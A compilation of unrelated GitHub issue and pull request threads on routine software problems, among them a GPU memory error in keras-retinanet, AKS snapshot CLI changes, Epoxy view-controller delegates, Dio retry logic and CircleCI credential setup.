return ResNet(inputs, blocks, block=keras_resnet.blocks.bottleneck_2d, include_top=include_top, classes=classes, *args, **kwargs)
File "/home/wh/.local/lib/python2.7/site-packages/keras_resnet/models/_2d.py", line 70, in ResNet
x = block(features, stage_id, block_id, numerical_name=(blocks[stage_id] > 6), freeze_bn=freeze_bn)(x)
File "/home/wh/.local/lib/python2.7/site-packages/keras_resnet/blocks/_2d.py", line 139, in f
shortcut = keras.layers.Conv2D(filters * 4, (1, 1), strides=stride, name="res{}{}_branch1".format(stage_char, block_char), **parameters)(x)
File "/home/wh/.local/lib/python2.7/site-packages/keras/engine/topology.py", line 603, in call
output = self.call(inputs, **kwargs)
File "/home/wh/.local/lib/python2.7/site-packages/keras/layers/convolutional.py", line 164, in call
dilation_rate=self.dilation_rate)
File "/home/wh/.local/lib/python2.7/site-packages/keras/backend/tensorflow_backend.py", line 3185, in conv2d
data_format=tf_data_format)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/ops/nn_ops.py", line 751, in convolution
return op(input, filter)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/ops/nn_ops.py", line 835, in call
return self.conv_op(inp, filter)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/ops/nn_ops.py", line 499, in call
return self.call(inp, filter)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/ops/nn_ops.py", line 187, in call
name=self.name)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/ops/gen_nn_ops.py", line 631, in conv2d
data_format=data_format, name=name)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/framework/op_def_library.py", line 787, in _apply_op_helper
op_def=op_def)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/framework/ops.py", line 2956, in create_op
op_def=op_def)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/framework/ops.py", line 1470, in init
self._traceback = self._graph._extract_stack()  # pylint: disable=protected-access
InternalError (see above for traceback): Blas SGEMM launch failed : m=22500, n=256, k=64
[[Node: res2a_branch1/convolution = Conv2D[T=DT_FLOAT, data_format="NHWC", padding="VALID", strides=[1, 1, 1, 1], use_cudnn_on_gpu=true, _device="/job:localhost/replica:0/task:0/device:GPU:0"](pool1/MaxPool, res2a_branch1/kernel/read)]]
[[Node: loss/add/_2591 = _Recvclient_terminated=false, recv_device="/job:localhost/replica:0/task:0/device:CPU:0", send_device="/job:localhost/replica:0/task:0/device:GPU:0", send_device_incarnation=1, tensor_name="edge_12603_loss/add", tensor_type=DT_FLOAT, _device="/job:localhost/replica:0/task:0/device:CPU:0"]]

@complicatedlee
The structure of your COCO dataset  should be:
/path/to/COCO/
/path/to/COCO/annotations/
/path/to/COCO/images/train2017/
/path/to/COCO/images/val2017/

maybe you should set your batchsize smaller

@wanghuok

I also find my problem, I just set the wrong path... thanks for your help~ @wanghuok

@complicatedlee You are welcome. My batch_size is already set to 1. Is it due to my less GPU memory?

If you use anaconda, maybe you could update anaconda using the following command
conda update --all
then try again. I'm not sure this is useful for your problem...

I'm afraid 6gb might not be enough. You can try to reduce the size of the images further by modifying the image_min_side and image_max_side values in the generator.

I don't know what the problem is. but it works after i switched to python3.


Internationalisation testing.

Description
Handle multiline strings, either joined strings, or continuation lines
with backslash.
Also start moving the information into a json file to be allow auto
updating. python tools/test_strings.py will autoregenerate the json file to at least autoremove some of the entries.
Type of change

[ ] Bug-fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] This change requires a documentation update

How has this been tested?

[ ] example: the test suite for my feature covers cases x, y, and z
[ ] example: all tests pass with my change
[ ] example: I check if my changes works with both PySide and PyQt backends
as there are small differences between the two Qt bindings.

Final checklist:

[ ] My PR is the minimum possible work for the desired functionality
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] If I included new strings, I have used trans. to make them localizable.
For more information see our translations guide.

Hi @Carreau thanks for looking into this.
I can check the po files generation and check.
Also, if the plan is now to allow thie

        trans._(
            "this"
            "will"
            "work"
        )

or  (I do not like this code style BTW)
        trans._(
            "this" /
            "will" .
            "work"
        )

Then should we start changing a few strings so they conform to whatever line length we are using?

or (I do not like this code style BTW)
        trans._(
            "this" /
            "will" /
            "work"
        )

Black will block this code style.

That would be \, not /. This allow both.
My main concern if whether those multiline strings get properly extracted for translations.

That would be , not /. This allow both with , or nothing.

Sure, my bad :)

My main concern if whether those multiline strings get properly extracted for translations.

Yep they should (I will check). I had issues with testing them, but it seems you have solved that :)


patch release 0.105.1

Pull Request Checklist
If you are a community contributor, copy and paste the PR template from Dendron Community PR Checklist and add it to the body of the pull request.
If you are a team member, copy and paste the template from Dendron Extended PR Checklist.
To copy the template, click on the Raw button on the gist to copy the plaintext version of the template to this PR.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.0 out of 2 committers have signed the CLA.:x: github-actions:x: kevinslingithub-actions seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

There's conflicts on this one - let's handle this in one go after we do 105.2.


Commands are wrong if using preview cli

This document does not work if you are using the latest azure cli preview extension.
This is due to the new preview feature that lets you snapshot the whole cluster. To snapshot a node pool you now need to use az aks nodepool snapshot command.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ba2a49af-10d0-9f2a-92b4-564f8a7ab514
Version Independent ID: 291646ac-698b-569c-c603-a3bbe74e3013
Content: Snapshot Azure Kubernetes Service (AKS) node pools - Azure Kubernetes Service
Content Source: articles/aks/node-pool-snapshot.md
Service: container-service
GitHub Login: @palma21
Microsoft Alias: jpalma

Hello @PixelRobots,
Thanks for the feedback! We are currently investigating and will update you shortly.

The Nodepool snapshot commands has changed in the recent CLI preview version.
New Azure CLI (preview) commands for node pool snapshot are as follows -
az aks nodepool snapshot create -g  -n  --nodepool-id  --aks-custom-headers --location --tags
az aks nodepool snapshot list
az aks nodepool snapshot list -g
az aks nodepool snapshot delete -g  -n
az aks nodepool snapshot show -g  -n
refer to the az aks nodepool snapshot | Microsoft Docs for these changes.

https://docs.microsoft.com/en-us/azure/aks/node-pool-snapshot we are going to update this document to reflect the preview experience.

Thanks. Will you also be creating the docs for the cluster snapshot?

#Please-close


Create first HTMX example with explanation

Choose the simplest possible example.
Write an LFE handler for the backend
Write an HTMX example for the frontend
Have it work, (Test ? I'm not sure how yet ?)

Re-wrote this a few times, mostly happy with it now.

I have found that i -can- run my tests in chromes recorder, I do not have the skills to implement replaying this in the Github actions yet, apparently it can be done.


Inserting image

Hello! Is where a way to insert an image in xlsx file using this module?
Trying to do this:
book = tablib.Databook()

response = requests.get(file.file.url, stream=True, timeout=5)
sheet = tablib.Dataset()
sheet.headers = ('name', 'file')
sheet.append((file.name, response.content))
book.add_sheet(sheet)

response = HttpResponse(book.export('xlsx'),
                                    content_type='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')

But instead of image i just get field in excel file which look like:
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x.....'
Or maybe i can create sheet with xlsxwirter/openpyxl and then somehow insert to tablib Databook?

there is not


[BUG] .NET SDK Track 2 automation fails due to breaking change

Library name and version
Azure.ResourceManager
Describe the bug
During swagger PR review, if any breaking change is introduced .NET SDK track2 automation CI fails.
Expected behavior
.NET SDK track2 automation CI should output the generated SDK instead of failing even with breaking changes.
Actual behavior
Automation CI fails.
Reproduction Steps
https://github.com/Azure/azure-rest-api-specs/pull/24208/checks?check_run_id=14211127845
Environment
No response

According to https://github.com/Azure/azure-rest-api-specs/pull/24208/checks?check_run_id=14211127845, we can specify environment variable $(RunApiCompat) to false to skip ApiCompat validation, verified that it worked locally.


What is the best practice for passing variables between controllers?

I have a scenario:
Page B is a detail page, and its data comes from its parent page which is page A.Also this data can be edited in page A.
According to the example code in MainViewController, I don't understand how to implement my requirement?
I also have a problem: how to implement the common proxy pattern in UIKit in expory? I want to set the proxy of page B to page A, how do I write my code?

Epoxy is not opinionated on how you share data between screens. In your example, I could imagine having some type of data source object that is injected into both view controllers with something like a subscriber pattern being used to respond to and publish updates. EpoxyNavigationController is only responsible for pushing and popping view controllers, but how you share data between those controllers is up to you.

Epoxy is not opinionated on how you share data between screens. In your example, I could imagine having some type of data source object that is injected into both view controllers with something like a subscriber pattern being used to respond to and publish updates. EpoxyNavigationController is only responsible for pushing and popping view controllers, but how you share data between those controllers is up to you.

This means I can't pass data or events using things like delegate or block. The only way I can think of at the moment is to do it through notifications, which has poor performance for some pages with complex interactions.
Looking forward to a better way to do this.
Epoxy is a very good library, I have been using it for a while and built some pages, look forward to better performance.

@rakuyoMo You can certainly use delegates or blocks—you would just pass them to the constructed view controller in the makeViewController closure of your NavigationModel. For example:
final class MyNavigationViewController: NavigationController {
  @NavigationModelBuilder
  private var stack: [NavigationModel] {
    // Root
    NavigationModel.root(…)

    // Delegate detail VC
    NavigationModel(
      dataID: …,
      makeViewController: { [weak self] in
        MyDetailViewController(delegate: self)
      },
      remove: { [weak self] in
        self?.state.showDelegateDetail = false
      })

    // Block detail VC
    NavigationModel(
      dataID: …,
      makeViewController: { [weak self] in
        MyDetailViewController(handleResult: { result in
          self?.state.result = …
        })
      },
      remove: { [weak self] in
        self?.state.showBlock = false
      })
  }
}

extension MyNavigationViewController: MyDetailViewControllerDelegate {
  // Implement delegate methods
}

@rakuyoMo You can certainly use delegates or blocks—you would just pass them to the constructed view controller in the makeViewController closure of your NavigationModel. For example:

final class MyNavigationViewController: NavigationController {

  @NavigationModelBuilder

  private var stack: [NavigationModel] {

    // Root

    NavigationModel.root(…)

    // Delegate detail VC

    if state.showDelegateDetail {

      NavigationModel(

        dataID: …,

        makeViewController: { [weak self] in

          MyDelegateDetailViewController(delegate: self)

        },

        remove: { [weak self] in

          self?.state.showDelegateDetail = false

        })

    }

    // Block detail VC

    if state.showBlockDetail {

      NavigationModel(

        dataID: …,

        makeViewController: { [weak self] in

          MyBlockDetailViewController(handleResult: { result in

            self?.state.result = …

          })

        },

        remove: { [weak self] in

          self?.state.showBlockDetail = false

        })

    }

  }

}

extension MyNavigationViewController: MyDelegateDetailViewControllerDelegate {

  // Implement delegate methods

}

In the example project we use blocks/closures to have callbacks from a detail view controller to the navigation controller.

I now understand that for the values necessary to initialize the next control, it can be relayed in the NavigationController via block or delegate.
Thank you very much for your answer and please forgive my stupidity.


SoftCap Candle-FlashAttn [1/n]

This is a series of PR's to pull in flash-attn-2 kernels and support:

[x] pull in latest FA2:

[x] launch of different grid size for sm86 / sm89

[ ] softcap FA2
[ ] unpadded_lse

Most likely I will implement this as a series of 3 stacked PRs. This is PR 1.
Closes #2687

   Compiling candle-flash-attn v0.8.1 (/workspace/model-performance/michaelfeil/candle/candle-flash-attn)
warning: non-local `impl` definition, `impl` blocks should be written at the same level as their item
  --> /workspace/model-performance/michaelfeil/candle/candle-core/src/sort.rs:90:9
   |
79 | /     fn cuda_fwd(
80 | |         &self,
81 | |         storage: &crate::CudaStorage,
82 | |         layout: &crate::Layout,
83 | |     ) -> Result<(crate::CudaStorage, crate::Shape)> {
   | |___________________________________________________- move the `impl` block outside of this method `cuda_fwd`
...
90 |           impl Map1Any for ArgSort {
   |           ^^^^^-------^^^^^-------
   |                |           |
   |                |           `ArgSort` is not local
   |                `Map1Any` is not local
   |
   = note: an `impl` is never scoped, even when it is nested inside an item, as it may impact type checking outside of that item, which can be the case if neither the trait or the self type are at the same nesting level as the `impl`
   = note: `#[warn(non_local_definitions)]` on by default

warning: `candle-core` (lib) generated 1 warning
    Finished `test` profile [unoptimized + debuginfo] target(s) in 8m 52s
     Running unittests src/lib.rs (target/debug/deps/candle_flash_attn-58541d909d490f26)

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

     Running tests/flash_attn_tests.rs (target/debug/deps/flash_attn_tests-a64401a027b99c85)

running 2 tests
test flash_attn_varlen ... ok
test flash_attn_acausal ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 33.07s

   Doc-tests candle_flash_attn

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

Passing locally and ready for review.
   Compiling candle-flash-attn v0.8.1 (/workspace/model-performance/michaelfeil/candle/candle-flash-attn)
warning: non-local `impl` definition, `impl` blocks should be written at the same level as their item
  --> /workspace/model-performance/michaelfeil/candle/candle-core/src/sort.rs:90:9
   |
79 | /     fn cuda_fwd(
80 | |         &self,
81 | |         storage: &crate::CudaStorage,
82 | |         layout: &crate::Layout,
83 | |     ) -> Result<(crate::CudaStorage, crate::Shape)> {
   | |___________________________________________________- move the `impl` block outside of this method `cuda_fwd`
...
90 |           impl Map1Any for ArgSort {
   |           ^^^^^-------^^^^^-------
   |                |           |
   |                |           `ArgSort` is not local
   |                `Map1Any` is not local
   |
   = note: an `impl` is never scoped, even when it is nested inside an item, as it may impact type checking outside of that item, which can be the case if neither the trait or the self type are at the same nesting level as the `impl`
   = note: `#[warn(non_local_definitions)]` on by default

warning: `candle-core` (lib) generated 1 warning
    Finished `test` profile [unoptimized + debuginfo] target(s) in 9m 21s
     Running unittests src/lib.rs (target/debug/deps/candle_flash_attn-58541d909d490f26)

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

     Running tests/flash_attn_tests.rs (target/debug/deps/flash_attn_tests-a64401a027b99c85)

running 2 tests
test flash_attn_varlen ... ok
test flash_attn_acausal ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 26.66s

   Doc-tests candle_flash_attn

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

Thanks!


Fixes drop index sql dialect

Fixes https://github.com/sebastienros/yessql/issues/184
I've tested this on MS SQL and SQLite and works well.
Research says that MySQL supports ON table_name syntax when dropping indexes, but PostgreSql does not, so have coded accordingly.
May not actually need to use this feature for the issue I was trying to fix (change length of column), but as many database providers are involved and can behave differently , it seemed sensible to be able to drop the index, change the column length, and recreate the index

Now tested on PostgreSql too...
I didn't write any unit tests for this, but I see how the unit tests are built now. But I didn't really see a set of tests around basic command syntax like DropIndex or AlterTable, so let me know if you'd like me to write a test for it?

Waiting for the build to pass before merging.


Add a test to check timestamp files written by libcamera-vid

We perform a very simple check that the file exists, that the header
is as we expect, and that the first two entries are numeric and
increasing.
Signed-off-by: David Plowman<EMAIL_ADDRESS>

@naushir
Do you want to check this over and merge it once you're happy there are no obvious clangers? Thanks!


fix Storybook 6.2 issue with empty rule

Storybook 6.2 has an empty object in the config module rules array, causing toString() to be called on undefined, causing the preset to crash Storybook. This fixes it.
Fixes: https://github.com/Negan1911/storybook-css-modules-preset/issues/11

Thank you :)


prevent tunnels near lava

Pipes can't go under lava so tunnels should be avoided if they were to traverse lava.

To investigate: Check if tunnels do work if they area they span is lava-covered-with-foundation.
If so, a tactic might be to plan above-ground-tunnel-reservations; that will check at the construction phase if the area needs foundation to support a tunnel.
Alternatively, in the prospect phase, make a lava-reservation, so that the plumber-phase can skip those tiles when burying pipes.

Update: Tunnels don't work under lava (which makes sense). Alternative route it is.


fix: fix unresolved sass imports

Closes #2482

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

:exclamation: No coverage uploaded for pull request base (main@31b5cf5). Click here to learn what that means.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main    #2483   +/-   ##
=======================================
  Coverage        ?   93.82%
=======================================
  Files           ?      299
  Lines           ?    24390
  Branches        ?     2039
=======================================
  Hits            ?    22884
  Misses          ?     1473
  Partials        ?       33

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


utils.test_prompt tokenization bugfix

It was assumed that tokes(str1+str2) == tokens(str1)+tokens(str2), but this is not always the case

Argh I hate tokenization. Thanks for the PR!


Hi

Hi I am new to UE5 and want to create a pokemon-like game with(UE5 + CPP). Do you have any recommended learning materials for me to start with?
Thanks

There are specifically Pokemon like tutorials that I'm aware of, however, I would recommend this playlist for getting you started with 2D in Unreal Engine, if you're looking to do a sprite-based 2D top-down RPG like Pokemon.
https://youtube.com/playlist?list=PL3Y-3g9XbIrmbDT_GvNHdH2wL9dfgXrpO


Genbuildvs

Please consider switching to a vs solution for gen_build, this PR also includes an option to generate the build files for a custom-named custom sqlite3.
Still need to add snk generation and nuspecs.

So, I suggested that if you didn't want to change the name of your DLL, you could probably get the bundle you want by examining how I build bundles and doing something similar.
  That's good.
But I wasn't really expecting you to start working on a Pull Request that is effectively a rewrite of my build system.
Starting from the beginning:  You are wanting something like the ability to create a bundle, like the ones I've got, but with a customizable name for the SQLite library.  Do I want that feature?  Maybe.  I'm not sure.  It seems like very low bang for the buck when compared to the alternative, which is to simply use custom_sqlite3 as the library name.  But if I had an implementation of that feature which is very low-risk, and which does not change the way I work in any substantial way?  Yeah, I could probably see that feature happening.
But this pull request does not seem to be heading in the direction of "minimal, low-risk, incremental change".
I thought I should express this reaction before you get too much further down the path you are on.  :-)

If you prefer the single-file, csc build, I can move my changes back into
that framework when I'm done. Thanks for the notification.
On Tue, Dec 13, 2016 at 4:46 PM, Eric Sink<EMAIL_ADDRESS>wrote:

So, I suggested that if you didn't want to change the name of your DLL,
you could probably get the bundle you want by examining how I build bundles
and doing something similar.
 That's good.
But I wasn't really expecting you to start working on a Pull Request that
is effectively a rewrite of my build system.
Starting from the beginning: You are wanting something like the ability to
create a bundle, like the ones I've got, but with a customizable name for
the SQLite library. Do I want that feature? Maybe. I'm not sure. It seems
like very low bang for the buck when compared to the alternative, which is
to simply use custom_sqlite3 as the library name. But if I had an
implementation of that feature which is very low-risk, and which does not
change the way I work in any substantial way? Yeah, I could probably see
that feature happening.
But this pull request does not seem to be heading in the direction of
"minimal, low-risk, incremental change".
I thought I should express this reaction before you get too much further
down the path you are on. :-)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ericsink/SQLitePCL.raw/pull/124#issuecomment-266908771,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAJoRkAbKxB95_6hD-s9OyuzIhLCgpwKks5rHzx-gaJpZM4LMLRj
.

Pls consider the other two pull requests though. Just minimal changes.
On Tue, Dec 13, 2016 at 4:56 PM, Tim Uy<EMAIL_ADDRESS>wrote:

If you prefer the single-file, csc build, I can move my changes back into
that framework when I'm done. Thanks for the notification.
On Tue, Dec 13, 2016 at 4:46 PM, Eric Sink<EMAIL_ADDRESS>wrote:

So, I suggested that if you didn't want to change the name of your DLL,
you could probably get the bundle you want by examining how I build bundles
and doing something similar.
 That's good.
But I wasn't really expecting you to start working on a Pull Request that
is effectively a rewrite of my build system.
Starting from the beginning: You are wanting something like the ability
to create a bundle, like the ones I've got, but with a customizable name
for the SQLite library. Do I want that feature? Maybe. I'm not sure. It
seems like very low bang for the buck when compared to the alternative,
which is to simply use custom_sqlite3 as the library name. But if I had
an implementation of that feature which is very low-risk, and which does
not change the way I work in any substantial way? Yeah, I could probably
see that feature happening.
But this pull request does not seem to be heading in the direction of
"minimal, low-risk, incremental change".
I thought I should express this reaction before you get too much further
down the path you are on. :-)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ericsink/SQLitePCL.raw/pull/124#issuecomment-266908771,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAJoRkAbKxB95_6hD-s9OyuzIhLCgpwKks5rHzx-gaJpZM4LMLRj
.

Yeah, I'll look at the others.  Heck, I'll be looking at this one too.  I won't rule out harvesting good ideas even though I don't want to make large changes.
Thanks.

I think I can reframe this so that the VS solution/project sits in /src but
the gen_build.cs stays in the main directory and is compiled with csc if
you want. That way there are minimal changes for you but I can still take
advantage of VS.
Ignore that pull request for a bit.
On Tue, Dec 13, 2016 at 5:07 PM, Eric Sink<EMAIL_ADDRESS>wrote:

Yeah, I'll look at the others. Heck, I'll be looking at this one too. I
won't rule out harvesting good ideas even though I don't want to make large
changes.
Thanks.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ericsink/SQLitePCL.raw/pull/124#issuecomment-266912246,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAJoRncW-9e0RA0KGVXQUdQIqCsEf37kks5rH0FfgaJpZM4LMLRj
.

i'm going to try a baby step for you... ignore this PR


Portable App

https://github.com/sunfish-shogi/electron-shogi/issues/395

Codecov Report
Patch coverage: 38.46% and project coverage change: -0.04 :warning:

Comparison is base (0d60c82) 71.58% compared to head (e89401d) 71.55%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #420      +/-   ##
==========================================
- Coverage   71.58%   71.55%   -0.04%
==========================================
  Files          69       69
  Lines       14444    14453       +9
  Branches     1872     1873       +1
==========================================
+ Hits        10340    10342       +2
- Misses       2261     2267       +6
- Partials     1843     1844       +1

Impacted Files
Coverage Δ

src/background/environment.ts
34.78% <25.00%> (-5.22%)
:arrow_down:

src/background/settings.ts
38.94% <60.00%> (-0.19%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Remove support for changing store on the fly

This removes the magical reducer replacement in favor of explicit replaceReducer() call where you create your store. See https://github.com/rackt/redux/pull/667 for details.

From you relaease notes about hot module reload:

See https://github.com/rackt/redux/pull/667 for a migration example.

The link provided isn't really helpful.


Add support for Virtual-CNS

VAU320 is using YuxiFlightInstruments for radio navigation now.
For compatibility, we need to add support for VirtualAviationJapan/Virtual-CNS
Navigation

Use NavaidDatabase

[ ] Navaid
[ ] Marker Beacon NOTE: Aircraft doesn't support Marker Beacon for now
[ ] Waypoint NOTE: Aircraft doesn't support Waypoint for now

Radio (Communication & ATIS)

[ ] AirbandDatabase
[ ] ATIS

Registration & ATC

[ ] Callsign & TailNumber & TailNumberManager
[ ] TCAS

add Navaid and Waypoint display on ND https://github.com/vrcau/VAU320/commit/65f89d2a03ad733cb3b03b4861a6a331c135e45e


butanediol ontology - redundancy

(R)-butane-1,2-diol (CHEBI:52685) has parent hydride butane (CHEBI:37808)
(R)-butane-1,3-diol (CHEBI:52687) has parent hydride butane (CHEBI:37808)
(S)-butane-1,2-diol (CHEBI:52686) has parent hydride butane (CHEBI:37808)
(S)-butane-1,3-diol (CHEBI:52688) has parent hydride butane (CHEBI:37808)
butane-1,2-diol (CHEBI:52682) has parent hydride butane (CHEBI:37808)
butane-1,3-diol (CHEBI:52683) has parent hydride butane (CHEBI:37808)
All these relationships appear to be redundant since their ultimate is_a parent, butanediol (CHEBI:52684), already has butane as a parent hydride:
butanediol (CHEBI:52684) has parent hydride butane (CHEBI:37808)

These relationships have been removed. Thanks


[Interceptor] How do I implement retry interceptor within attempt count?

Firstly, I'm sorry because my english is not good. I'm trying implement retry interceptor. Mean, when countAttempt reach to maxAttempt, it is will stop. Mean, in code:
if(countAttempt <= maxAttempt){
countAttempt++;
doRetry();
}else{
//Stop.
}

I have BaseInterceptor:
abstract class BaseInterceptor extends InterceptorsWrapper {
  int get maxAttempt => 3;

  late Future Function() future;

  BaseInterceptor(this.future);

  int countAttempt = 0;

  @override
  void onError(DioError err, ErrorInterceptorHandler handler) async {
    super.onError(err, handler);
    Logger().e("Found an error $countAttempt");
    if (countAttempt <= maxAttempt) {
      countAttempt++;
      await future();
    }
  }

  @override
  void onResponse(Response response, ResponseInterceptorHandler handler) {
    super.onResponse(response, handler);
    print("onResponse triggered");
  }

  @override
  void onRequest(RequestOptions options, RequestInterceptorHandler handler) {
    super.onRequest(options, handler);
    print("onRequest triggered");
  }
}

and RetryInterceptor extends above class:
class RetryInterceptor extends BaseInterceptor {
 RetryInterceptor({required Future Function() future}) : super(future);

 @override
 int get maxAttempt => 5;
}

Finally, I using:
class UserRepository implements IUserRepository {
@override
Future<Model> getUser({int page = 1}) async {
  final dio = Dio();
  dio.interceptors.add(RetryInterceptor(future: getUser)); //This
  Response response;
  response = await dio.get('https://reqres.in/api/users',
      queryParameters: {'per_page': 10, 'page': page});
  final user = Model.fromJson(response.data);
  return user;
}
}

My problem is countAttempt always is 0 that cause retry called infinity. I tried combine singleton but it seem not suitable. What the way I can do it?

@NTA-trongpq try this package dio_smart_retry

@dhruvanb Thank you so much. This is exactly what I'm looking for.

@dhruvanb Thank you so much. This is exactly what I'm looking for.

Welcome


Fix bug with reloading tests via API.

I think this resolves #150, but I'm still trying to look through the code to make sure that this is an actual fix.

The underlying issue seems to be that OkTest.suites is a class attribute. It looks intentional, but seems a little weird to me?

self.suites actually isn't a class variable. OkTest is a type of Serializable object (defined in client/sources/common/core.py, which is a meta-class. The suites = core.List() you see in OkTest just declares that the instance attribute self.suites must be a list.
I'm also not able to recreate the bug, using our demo tests:
>>> from client.api.assignment import load_assignment
>>> x = load_assignment('config.ok')
=====================================================================
Assignment: Homework 1
OK, version v1.5.0
=====================================================================

>>> x.grade('q1')
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Running tests

---------------------------------------------------------------------
Test summary
    Passed: 7
    Failed: 0
[ooooooooook] 100.0% passed

{'locked': 0, 'failed': 0, 'passed': 7}
>>> x = load_assignment('config.ok')
=====================================================================
Assignment: Homework 1
OK, version v1.5.0
=====================================================================

>>> x.grade('q1')
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Running tests

---------------------------------------------------------------------
Test summary
    Passed: 7
    Failed: 0
[ooooooooook] 100.0% passed

{'locked': 0, 'failed': 0, 'passed': 7}

Which demo are you running? I'm running demo/ok_test and get this on master:
brian@tank:ok_test(master) $ pwd
/home/brian/coding/cs61a/ok-client/demo/ok_test
brian@tank:ok_test(master) $ python3
Python 3.4.0 (default, Jun 19 2015, 14:20:21)
[GCC 4.8.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys; sys.path.insert(0, '../..')
>>> from client.api.assignment import load_assignment
>>> x = load_assignment('config.ok')
=====================================================================
Assignment: Homework 1
OK, version v1.5.0
=====================================================================

>>> x = load_assignment('config.ok')
=====================================================================
Assignment: Homework 1
OK, version v1.5.0
=====================================================================

Traceback (most recent call last):
  File "../../client/sources/ok_test/__init__.py", line 47, in load
    assign.cmd_args.timeout, **test)}
  File "../../client/sources/common/core.py", line 187, in __call__
    obj.post_instantiation()
  File "../../client/sources/ok_test/models.py", line 28, in post_instantiation
    raise ex.SerializeException('Test cases must be dictionaries')
client.exceptions.SerializeException: Test cases must be dictionaries

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "../../client/api/assignment.py", line 24, in load_assignment
    return Assignment(cmd_args, **config)
  File "../../client/sources/common/core.py", line 187, in __call__
    obj.post_instantiation()
  File "../../client/api/assignment.py", line 109, in post_instantiation
    self._load_tests()
  File "../../client/api/assignment.py", line 133, in _load_tests
    self.test_map.update(module.load(file, parameter, self))
  File "../../client/sources/ok_test/__init__.py", line 49, in load
    raise ex.LoadingException('Cannot load OK test {}'.format(file))
client.exceptions.LoadingException: Cannot load OK test tests/q1.py

I'm also running demo/ok_test. Perhaps it's an OS discrepancy?

LGTM.


Formatter indents interface to align with comment asterisks

TypeScript Version:  nightly (2.5.0-dev.20170623)
Code
/**
 * Comment
 */
export interface I {}

Select export  and cut.
Then paste it again.
Expected behavior:
Back where you started.
Actual behavior:
/**
 * Comment
 */
 export interface I {}

Also, my vscode settings are:
"editor.formatOnType": false,
"editor.formatOnPaste": false,
"typescript.format.enable": false,

so this shouldn't be happening at all?

The result is:
function f() {

		const x = 1;
	return x;
}

I would expect the const to remain at the same indent level.
(If you indent with 4 spaces, the const will be indented 5 spaces.)

Another problem:
function f(x) {
	return x === 1
		|| x === 2;
}

Navigate to just right of the }, hit enter, get:
function f(x) {
	return x === 1
		|| x === 2;
	}

Similar:
type U =
    | string
    | number;

Hit enter and type something, and it will be indented.


Add encrypted sauce credentials with new key

Somehow the use of the -out ~/.circlerc -k $SAUCE_DECRYPT_KEY command over -k $SAUCE_DECRYPT_KEY >> ~/.circlerc causes CircleCI to fail with the message:
$ npm install
bash: line 1: npm: command not found
npm install returned exit code 127
Action failed: npm install

See https://circleci.com/gh/impress/impress.js/45.
@jdalton Any idea why this might be happening? Perhaps let's use the branch on this PR to test it until it works so that we don't clutter master with test commits. I have emailed all the data to the e-mail address in your commits.

@FagnerMartinsBrack

Any idea why this might be happening

That's a neat error. I'm not sure what's up with it. It doesn't error the other way so that's nice!
On the fixed commit it looks like the env variables aren't being detected though. More digging!

@nkbt Since you helped setting up CircleCI you can have more experience with it. Any idea why that npm error happens?

Got it working @FagnerMartinsBrack!
Now sauce is reporting test fails in IE11, Safari 9.1.2, and Safari 8.0.8.

I can confirm the test fails are legit. (Tested on the real browsers)

I guess we need to use this PR to also fix the tests to merge green to master. Make sense?

[ ] Fix failing tests on IE11, Safari 9.1.2, and Safari 8.0.8.

Fixed the test fails!

👏 Dude, you're awesome :D

30000$$


派生仓库中创建合并请求404

We DO NOT take questions or config/deploy problems on GitHub, please use our forum: https://discuss.gogs.io
Please take a moment to search that an issue doesn't already exist.
For bug reports, please give the relevant info:

Gogs version (or commit ref):
